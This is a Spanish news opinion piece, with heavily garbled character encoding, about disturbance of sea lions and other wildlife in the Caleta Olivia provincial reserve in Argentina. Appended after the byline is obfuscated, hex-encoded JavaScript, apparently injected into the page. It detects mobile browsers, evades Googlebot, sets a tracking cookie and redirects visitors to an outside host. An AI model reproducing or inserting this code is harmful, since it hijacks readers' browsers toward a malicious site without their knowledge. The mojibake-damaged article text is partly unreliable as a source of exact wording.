Lobos en peligro

lobos marinos

Crece el alerta sobre la actual situaciA?n del A?rea protegida a cargo del Consejo Agrario Provincial al sur de la ciudad caletense.

Muchas veces nos vemos en la situaciA?n de no saber si lo que hacemos estA? bien o estA? mal, si hay algo que regula nuestro accionar, si hay alguien que puede retarnos. Esto nos pasa desde que somos chiquitos, desde que empezamos a entender por quAi?? estA? bien o por quAi?? estA?n mal las acciones que llevamos a cabo.

Gran parte de la poblaciA?n de Caleta Olivia hoy se encuentra ante este problema, el de no saber por quAi?? se conserva la biodiversidad que nuestra regiA?n, particularmente nuestra ciudad, nos brinda.

En el aAi??o 2008 fue creada la Reserva Natural Provincial “Caleta Olivia”, mediante la Ley 3.028/08. La idea de esta reserva fue la conservaciA?n de una poblaciA?n particular de mamAi??feros: el lobo marino de un pelo (Otaria flavescens). Si bien es la principal atracciA?n del lugar, no es lo A?nico que podemos encontrar. Junto a esta especie se encuentran otras: aves, entre las que podemos destacar a la gaviota cocinera, al ostrero, al chorlo, al chorlito, al gaviotAi??n, al pato crestA?n, al petrel gigante, al biguA?, al cormorA?n o al tero; especies de invertebrados marinos como crustA?ceos (cangrejos, entre otros), equinodermos (erizo de mar, estrella de mar), esponjas de mar, cnidarios como las medusas, moluscos como los pulpos y mejillones; especies de algas (las cuales son refugio de gran parte de los invertebrados); peces, principal alimento de los lobos y de algunas aves.

Todas estas especies se regulan entre ellas, tienen numerosas interacciones que hacen que ese ecosistema funcione. Ahora, A?cA?mo interfiere el hombre en esta red de interacciones y quAi?? pasa cuando lo hace? Pueden pasar dos cosas: que se accione para bien o que se accione para mal. Dentro de las primeras se puede destacar, por un lado, la creaciA?n de la Reserva que le brinda un lugar “protegido” a las especies que en ella habitan, y por otro, la gente que respeta la distancia que se debe mantener entre la colonia de lobos y la zona de avistaje. Entre las malas acciones se pueden mencionar la invasiA?n de ese espacio por personas que quieren “sA?lo una foto” o simplemente tirarles piedras para ver cA?mo reaccionan los lobos. AcA? es donde fallamos, en la educaciA?n, en saber dA?nde poner un lAi??mite, porque no se trata de lo que yo quiero como ser individual, se trata de lo que hay que hacer para aprender a vivir en armonAi??a con la naturaleza y conservarla en el estado mA?s puro que se pueda, aunque hoy en dAi??a sabemos que eso no es tarea fA?cil debido a que el nivel de contaminaciA?n de los ocAi??anos (y obviamente de los ambientes terrestres) aumenta exponencialmente, a una velocidad que supera notablemente la del siglo pasado; algunas estimaciones prevAi??n que en 2050 habrA? mA?s plA?stico que peces en el ocAi??ano.

El ser humano y su idea de que todo le pertenece y todo es inferior a Ai??l, logran que muchas especies se vean obligadas a desplazarse por sentirse en peligro, por no poder alimentarse, copular, nidificar, descansar. Hay casos en los que el desplazamiento es tal, que ya no encuentran el hA?bitat A?ptimo para poder desarrollar sus comportamientos, lo que conduce a ciertas poblaciones a la extinciA?n.

Entonces, la creaciA?n de la Reserva es importante, pero no lo es todo, es necesario que la gestiA?n se haga responsable de que este lugar actA?e como tal, que las personas se informen sobre lo que se puede y no se puede hacer, que la sociedad entienda por quAi?? se prohAi??be que los niAi??os (y adultos) se paren al lado, se acerquen, les griten, los molesten. Todas estas regulaciones tienen un por quAi??, cientAi??ficamente comprobado. La protecciA?n de estas A?reas ayuda a muchas especies de organismos que son parte de un paisaje del cual podemos sacar provecho, podemos hacer uso sustentable de los recursos que nos brinda la naturaleza sin la necesidad de explotarlo hasta (casi) agotarlo. Mantener estos lugares limpios y tranquilos posibilita que aves migratorias (especies de chorlitos y playeritos) tengan un lugar donde descansar o reproducirse, ya que recorren muchos kilA?metros cada aAi??o para sobrevivir y dejar descendencia; la limpieza de los mares contribuye al aumento de la biodiversidad, y asAi??, al aumento de alimento para los lobos, las aves y la poblaciA?n humana, porque un aumento del fitoplancton (organismos exclusivamente vegetales) contribuye a una mayor producciA?n de oxAi??geno, el cual respiramos todo el tiempo. Si ampliamos la mirada, vemos que la protecciA?n de un lugar como La Caleta puede generar un gran cambio y tener un gran impacto en todos los organismos.

Con respecto a la biologAi??a de nuestro protagonista principal, el lobo marino de un pelo, es importante saber que esta especie alcanza la edad reproductiva a los 4 aAi??os, las hembras y 6 aAi??os, los machos, pero el apareamiento reciAi??n ocurre a los 8 aAi??os. La Ai??poca reproductiva comienza en diciembre cuando los machos llegan a las costas y delimitan su territorio, agrupando a las hembras que formarA?n parte de su harAi??n (entre 4 a 20 hembras por macho). Las colonias se disgregan aproximadamente a fines de febrero.

El humano, en su deseo de que el lobo sea su amigo, se olvida (o no sabe) que al animal silvestre le genera estrAi??s exponerlo a algo con lo que no estA? familiarizado, haciendo que se generen desequilibrios hormonales y disminuyendo su bienestar. Si el estresor se vuelve constante, produce un grave problema que puede culminar en el declinamiento de la poblaciA?n.

Caleta Olivia tiene excelentes recursos para poder brindar trabajo e ingresos a la ciudad, pero no los tenemos en cuenta y mucho menos cuidamos. El mar es nuestro principal recurso y no lo estamos valorando. Siendo ciudadanos con permanente vista al mar es increAi??ble que no veamos el impacto que tienen los desechos que arrojamos continuamente. Los plA?sticos, por ejemplo, suelen ser confundidos con alimento por los animales marinos. Las aves que comen krill encuentran la zona donde estA? su alimento gracias a la presencia de olor a azufre emitido por las algas de las cuales el krill se alimenta. DespuAi??s de un tiempo en el mar, los plA?sticos comienzan a emitir una sustancia con olor similar a esas algas, confundiendo a las aves, las cuales ingieren plA?stico en lugar de krill. AsAi?? como con las aves, sucede con una gran variedad especies.

Si seguimos actuando como hasta ahora, lo que hoy es costa con lobos, aves, algas, microorganismos y muchAi??simas especies mA?s, serA? sA?lo agua y basura.

Es por esto que llamamos a la concientizaciA?n de la sociedad y la conservaciA?n de estas especies y de sus respectivos hA?bitats, ya que el derecho a vivir no es solo nuestro, sino de todos los organismos vivos.

Por: Paula Olivera y Alejo Maimo

(Fuente: LVS)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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